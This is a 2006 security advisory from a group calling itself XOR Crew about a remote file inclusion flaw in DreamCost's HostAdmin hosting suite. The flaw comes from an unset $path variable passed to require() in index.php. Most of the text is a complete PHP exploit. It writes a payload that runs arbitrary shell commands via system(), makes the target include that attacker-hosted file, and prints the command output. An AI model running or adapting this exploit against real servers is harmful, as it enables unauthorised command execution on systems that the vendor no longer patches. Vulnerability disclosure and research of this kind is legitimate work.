HostAdmin - Remote Command Execution Vulnerability

[Scott Dewey <wr0ck.lists () gmail com>]

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XOR Crew :: Security Advisory                                         
       2/11/2006
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HostAdmin - Remote Command Execution Vulnerability
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http://www.xorcrew.net/
http://www.xorcrew.net/ReZEN
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:: Summary

      Vendor       :  DreamCost
      Vendor Site  :  http://www.dreamcost.com/
      Product(s)   :  HostAdmin - Automated Hosting Suite
      Version(s)   :  All
      Severity     :  Medium/High
      Impact       :  Remote Command Execution
      Release Date :  2/11/2006
      Credits      :  ReZEN (rezen (a) xorcrew (.) net)

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I. Description

By creating a product that integrates with the major payment
processors, registrars,
and provisioning tools on the market, HostAdmin gives your hosting
company the power
to bill and activate hosting accounts in real-time, even while you
sleep at night!


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II. Synopsis

There is a remote file inclusion vulnerability that allows for remote
command execution
in the index.php file.  The bug is here on lines 5, 6, and 7:

require("setup.php");
require("functions.php");
require("db.conf");
require($path . "que.php");
require($path . "provisioning_manager.php");
require($path . "registrar_manager.php");

the $path variable is not set prior to being used in the require() function.
The vendor is no longer offering updates for this software.

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Exploit code:

-----BEGIN-----

<?php
/*
HostAdmin Remote File Inclusion Exploit c0ded by ReZEN
Sh0uts: xorcrew.net, ajax, gml, #subterrain, My gf
url:  http://www.xorcrew.net/ReZEN
*/

$cmd = $_POST["cmd"];
$turl = $_POST["turl"];
$hurl = $_POST["hurl"];

$form= "<form method=\"post\" action=\"".$PHP_SELF."\">"
    ."turl:<br><input type=\"text\" name=\"turl\" size=\"90\"
value=\"".$turl."\"><br>"
    ."hurl:<br><input type=\"text\" name=\"hurl\" size=\"90\"
value=\"".$hurl."\"><br>"
    ."cmd:<br><input type=\"text\" name=\"cmd\" size=\"90\"
value=\"".$cmd."\"><br>"
    ."<input type=\"submit\" value=\"Submit\" name=\"submit\">"
    ."</form><HR WIDTH=\"650\" ALIGN=\"LEFT\">";

if (!isset($_POST['submit']))
{

echo $form;

}else{

$file = fopen ("test.txt", "w+");

fwrite($file, "<?php system(\"echo ++BEGIN++\"); system(\"".$cmd."\");
system(\"echo ++END++\"); ?>");
fclose($file);

$file = fopen ($turl.$hurl, "r");
if (!$file) {
    echo "<p>Unable to get output.\n";
    exit;
}

echo $form;

while (!feof ($file)) {
    $line .= fgets ($file, 1024)."<br>";
    }
$tpos1 = strpos($line, "++BEGIN++");
$tpos2 = strpos($line, "++END++");
$tpos1 = $tpos1+strlen("++BEGIN++");
$tpos2 = $tpos2-$tpos1;
$output = substr($line, $tpos1, $tpos2);
echo $output;

}
?>


------END------

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IV. Greets :>

All of xor, Infinity, stokhli, ajax, gml, cijfer, my beautiful girlfriend.

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